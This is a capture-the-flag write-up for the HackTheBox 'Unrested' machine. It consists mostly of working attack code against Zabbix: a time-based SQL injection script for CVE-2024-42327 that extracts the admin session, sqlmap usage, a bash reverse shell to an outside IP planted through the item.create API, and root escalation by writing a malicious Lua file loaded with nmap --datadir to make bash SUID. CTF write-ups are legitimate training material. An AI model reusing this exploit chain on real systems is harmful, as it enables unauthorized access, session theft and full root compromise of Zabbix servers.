HackTheBox Unrested Writeup
Explore the fundamentals of cybersecurity in the Unrested Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
10.10.11.50 unrested.htb
Script to add hosts automatically
ip="10.10.11.50"
domain="unrested.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
ports=$(nmap -p- --min-rate=1000 -T4 unrested.htb | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV unrested.htb
Nmap scan report for unrested.htb (10.10.11.50)
Host is up (0.051s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
10050/tcp open tcpwrapped
10051/tcp open ssl/zabbix-trapper?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
SQL Injection CVE-2024-42327
https://support.zabbix.com/browse/ZBX-25623
auth=$(curl -s --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"username": "matthew",
"password": "96qzn0h2e1k3"
},
"id": 1
}' | jq -r '.result')
echo "Auth token: $auth"
echo 'Updating user groups...'
curl -s --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "user.update",
"params": {
"userid": "3",
"usrgrps": [
{"usrgrpid": "13"},
{"usrgrpid": "7"}
]
},
"auth": "'"$auth"'",
"id": 1
}' | jq
echo -e "\nFetching user details..."
curl -s --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "3"],
"selectUsrgrps": ["usrgrpid", "name"],
"filter": {
"alias": "matthew"
}
},
"auth": "'"$auth"'",
"id": 1
}' | jq
echo 'CVE-2024-42327'
time curl -s --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "username"],
"selectRole": ["roleid", "name AND (SELECT 1 FROM (SELECT SLEEP(5))A)"],
"editable": 1
},
"auth": "'"$auth"'",
"id": 1
}' -o /dev/null
cat > req <<EOF
POST /zabbix/api_jsonrpc.php HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 358
Host: 10.10.11.50:80
Content-Type: application/json-rpc
Connection: keep-alive
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "username"],
"selectRole": [
"roleid",
"name *"
],
"editable": 1
},
"auth": "$auth",
"id": 1
}
EOF
sqlmap -r "$(pwd)/req" --dbs --batch
Script
import requests
from datetime import datetime
import string
import sys
from concurrent.futures import ThreadPoolExecutor
URL = "http://unrested.htb/zabbix/api_jsonrpc.php"
TRUE_TIME = 1
ROW = 0
USERNAME = "matthew"
PASSWORD = "96qzn0h2e1k3"
def authenticate():
payload = {
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"username": USERNAME,
"password": PASSWORD
},
"id": 1
}
response = requests.post(URL, json=payload)
if response.status_code == 200:
try:
response_json = response.json()
auth_token = response_json.get("result")
if auth_token:
print(f"Login successful! Auth token: {auth_token}")
return auth_token
else:
print(f"Login failed. Response: {response_json}")
except Exception as e:
print(f"Error: {str(e)}")
else:
print(f"HTTP request failed with status code {response.status_code}")
def send_injection(auth_token, position, char):
payload = {
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "username"],
"selectRole": [
"roleid",
f"name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME} - (IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF)"
],
"editable": 1,
},
"auth": auth_token,
"id": 1
}
before_query = datetime.now().timestamp()
response = requests.post(URL, json=payload)
after_query = datetime.now().timestamp()
response_time = after_query - before_query
return char, response_time
def test_characters_parallel(auth_token, position):
with ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(send_injection, auth_token, position, char): char for char in string.printable}
for future in futures:
char, response_time = future.result()
if TRUE_TIME - 0.5 < response_time < TRUE_TIME + 0.5:
return char
return None
def print_progress(extracted_value):
sys.stdout.write(f"\rExtracting admin session: {extracted_value}")
sys.stdout.flush()
def extract_admin_session_parallel(auth_token):
extracted_value = ""
max_length = 32
for position in range(1, max_length + 1):
char = test_characters_parallel(auth_token, position)
if char:
extracted_value += char
print_progress(extracted_value)
else:
print(f"\n(-) No character found at position {position}, stopping.")
break
return extracted_value
if __name__ == "__main__":
print("Authenticating...")
auth_token = authenticate()
print("Starting data extraction...")
admin_session = extract_admin_session_parallel(auth_token)
Admin Revshell
nc -lvnp 9001
echo -n 'Admin Auth ? '; read auth
curl -s --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "host.get",
"params": {
"output": ["hostid", "host"],
"selectInterfaces": ["interfaceid"]
},
"auth": "'"$auth"'",
"id": 1
}'
curl --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{
"jsonrpc": "2.0",
"method": "item.create",
"params": {
"name": "rce",
"key_": "system.run[bash -c '\''bash -i >& /dev/tcp/10.10.14.18/9001 0>&1'\'']",
"delay": "1",
"hostid": "10084",
"type": 0,
"value_type": 1,
"interfaceid": "1"
},
"auth": "'"$auth"'",
"id": 1
}'
Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press Ctrl+Z to background the shell, then run:
stty size; stty raw -echo; fg
As the last step, set the terminal environment:
export TERM=xterm;
PrivEsc nmap Wrapper
The user zabbix has sudo privileges to execute nmap as any user without a password:
sudo -l
Output:
User zabbix may run the following commands on unrested:
(ALL : ALL) NOPASSWD: /usr/bin/nmap *
Running:
sudo nmap --interactive
Output:
Interactive mode is disabled for security reasons.
This indicates a custom wrapper for nmap has been implemented by Zabbix to restrict certain functionality.
To confirm the wrapper:
cat $(which nmap)
The output reveals that it’s a wrapper script. However, we can bypass the restrictions using the --datadir option of nmap.
echo 'os.execute("chmod 4775 /bin/bash")' > /tmp/nse_main.lua
sudo /usr/bin/nmap --datadir=/tmp -sC localhost
ls -la /bin/bash
bash -p
cat /root/root.txt